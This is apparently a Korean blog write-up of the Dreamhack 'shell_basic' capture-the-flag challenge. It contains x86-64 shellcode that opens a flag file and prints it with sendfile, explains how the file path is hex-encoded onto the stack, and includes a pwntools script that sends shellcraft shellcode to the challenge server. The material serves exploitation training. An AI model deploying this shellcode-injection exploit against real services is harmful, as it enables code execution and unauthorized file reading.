Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* push b'/home/shell_basic/flag_name_is_loooooong\x00' */
push 1
dec byte ptr [rsp]
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
먼저 메모리는 하나당 8바이트씩 읽습니다. 16진수는 하나당 4바이트 이므로 16진수 2글자에 1바이트 입니다. 8바이트에 16진수를 넣을려면 16글자만 들어갈수 있습니다.
디버깅으로 나온 값입니다.
/home/shell_basic/flag_name_is_loooooong 를 16진수로 바꿔보면
0x2f686f6d652f7368656c6c5f62617369632f666c61675f6e616d655f69735f6c6f6f6f6f6f6f6e67
나오는데 스택은 높은주소에서 낮은 주소로 거꾸로 집어넣어 줘야합니다.(리틀엔디언)
뒤집은 상태에서 끊어 표현하면
68732f656d6f682f
697361625f6c6c65
6e5f67616c662f63
6c5f73695f656d61
676e6f6f6f6f6f6f
이됩니다.
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
으로 낮은주소부터 넣어주면 서버로 보내면 플래그를 얻을수 있습니다.
하지만
pwntools 에 있는 shellcraft를 사용하면 payload코드가 간결하게 짤수있었습니다.
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
p = remote("host3.dreamhack.games", 23544)
payload = asm(shellcraft.cat('/home/shell_basic/flag_name_is_loooooong'))
p.recvuntil(': ')
p.sendline(payload)
p.interactive()
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
p = remote("host3.dreamhack.games", 23544)
윗 코드는 디버깅 로그와 사용할 아키텍쳐 운영체제 를 적었습니다. remote 를 사용하여 접속해야할 서버도 연결하였습니다 .
payload = asm(shellcraft.cat('/home/shell_basic/flag_name_is_loooooong'))
asm은 어셈블리 코드를 바이너리로 변환하고 shellcraft.cat() 은 /home/shell_basic/flag_name_is_loooooong 명령을 수행하는 시스템 콜 조합을 생성했습니다.
서버에게 보내면 flag를 획득합니다. shellcraft도 편하지만 한번 어셈블리로 해보는 연습도 해봐야할것 같습니다.
payload
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
p = remote("host3.dreamhack.games", 23544)
payload = asm(shellcraft.cat('/home/shell_basic/flag_name_is_loooooong'))
p.recvuntil(': ')
p.sendline(payload)
p.interactive()
*학습중인 내용이므로 틀린정보가 있을수도있음*
'Security > Dreamhack' 카테고리의 다른 글
| Dreamhack write-up #2:re-reg-ex (0) | 2025.05.28 |
|---|---|
| Dreamhack write-up #1: blue-whale (1) | 2025.05.20 |


























